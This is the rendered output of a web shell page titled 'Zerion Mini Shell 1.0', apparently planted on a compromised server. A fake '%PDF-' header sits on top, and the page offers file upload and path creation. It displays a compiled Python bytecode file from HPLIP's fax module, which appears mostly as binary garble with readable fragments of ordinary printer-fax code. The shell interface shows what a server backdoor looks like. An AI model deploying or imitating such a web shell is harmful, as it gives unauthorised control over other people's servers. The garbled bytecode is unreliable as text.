%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/hplip/fax/__pycache__/
Upload File :
Create Path :
Current File : //usr/share/hplip/fax/__pycache__/ledmsoapfax.cpython-312.pyc

�

=	f����ddlZddlZddlZddlmZddlZddl�ddl�ddlm	Z	m
Z
mZmZddl
�ddl�ddlmZddlmZGd�d	e�Zy)
�N)�BytesIO)�*)�device�utils�codes�dime�)�SOAPFaxSendThread)�
SOAPFaxDevicec�l�eZdZdddedfd�Zd�Zd�Zd�Zd�Ze	ee�Z
d�Zd	�Ze	ee�Z
d
�Zy)�LEDMSOAPFaxDeviceNFc�8�tj||||||�y)N)r�__init__)�self�
device_uri�printer_name�callback�fax_type�disable_dbuss      �#/usr/share/hplip/fax/ledmsoapfax.pyrzLEDMSOAPFaxDevice.__init__-s!��
	���t�Z�'�#�X�'�	)�c��y)NF��rs r�isAuthRequiredz LEDMSOAPFaxDevice.isAuthRequired7s��rc�\�d||jt|�|fz}tj|�|j	|jd��t
�}|jd|d��r	|jd|d��r�|j�}tj|jd��|j�tj|�}|�tS	t|jd��}|tk(S#t t"f$rt$}Y|tk(SwxYw)NzbPUT %s HTTP/1.1
Connection: Keep-alive
User-agent: hplip/2.0
Host: %s
Content-length: %d

%szutf-8i�)�timeoutr	)�	http_host�len�log�log_data�
writeEWS_LEDM�encoder�readEWS_LEDM�getvalue�decode�
closeEWS_LEDM�http_result_pat�match�HTTP_OK�int�group�
ValueError�	TypeError�
HTTP_ERROR)r�url�post�data�responser*�codes       r�putzLEDMSOAPFaxDevice.put;s���

�d�n�n�c�$�i��.�
/��	���T�����4�;�;�w�/�0��9������h���:������h���:��$�$�&�����X�_�_�W�-�.������%�%�h�/���=��.�	��u�{�{�1�~�&�D��w�����I�&�	��D��w���	�s�(D�D+�*D+c�h�t|z}tjd|z�|jd|�S)NzSetPhoneNum:xml Value:%s�/DevMgmt/FaxConfigDyn.xml)�setPhoneNumXMLr!�debugr6)r�num�xmls   r�setPhoneNumzLEDMSOAPFaxDevice.setPhoneNumXs0���s�#���	�	�,�c�1�2��x�x�3�S�9�9rc�&�|jdd�S)Nr8z>faxcfgdyn:faxconfigdyn-faxcfgdyn:systemsettings-dd:phonenumber��readAttributeFromXml_EWSrs r�getPhoneNumzLEDMSOAPFaxDevice.getPhoneNum^�!���,�,�-H�JJ�K�	Krc��	t|z}|jd�S#ttf$rtj	d�Y�8wxYw)Nz
Unicode Errorr8)�setStationNameXML�UnicodeEncodeError�UnicodeDecodeErrorr!�errorr6)r�namer<s   r�setStationNamez LEDMSOAPFaxDevice.setStationNamedsH��	'�#�T�)�C��x�x�3�S�9�9��"�#5�6�	'��I�I�o�&�	'�s�	�$A�Ac�&�|jdd�S)Nr8z>faxcfgdyn:faxconfigdyn-faxcfgdyn:systemsettings-dd:companynamer?rs r�getStationNamez LEDMSOAPFaxDevice.getStationNamemrBrc��tj�}d|d|d|d|d|d|dfz}t|z}tj	d|z�|jd	|�ry
tj	d�y)
Nz%4d-%02d-%02dT%02d:%02d:%02drr	���rzsetDateTimeXML Value:%sz/DevMgmt/ProductConfigDyn.xmlTzAFailed to set date and time. Set date and time using front panel.F)�time�	localtime�setDateTimeXMLr!r:r6)r�t�date_bufr<s    r�setDateAndTimez LEDMSOAPFaxDevice.setDateAndTimess~���N�N���1�Q�q�T�1�Q�4��1��q��t�Q�q�T�ST�UV�SW�4X�X���x�(���	�	�+�S�0�1��8�8�3�S�9���I�I�Z�[�r)�__name__�
__module__�__qualname__�
FAX_TYPE_NONErrr6r=rA�property�	phone_numrIrK�station_namerUrrrr
r
*sX��#'�T��'�#�)���::�K���k�2�I�:�K��N�N�;�L�
rr
)�sys�osrP�base.sixextr�re�base.g�
base.codes�baserrrr�fax�ledmfax�soapfaxr
rr
rrr�<module>rgs>��2�	���	���+�+���&�"�S�
�Sr

Zerion Mini Shell 1.0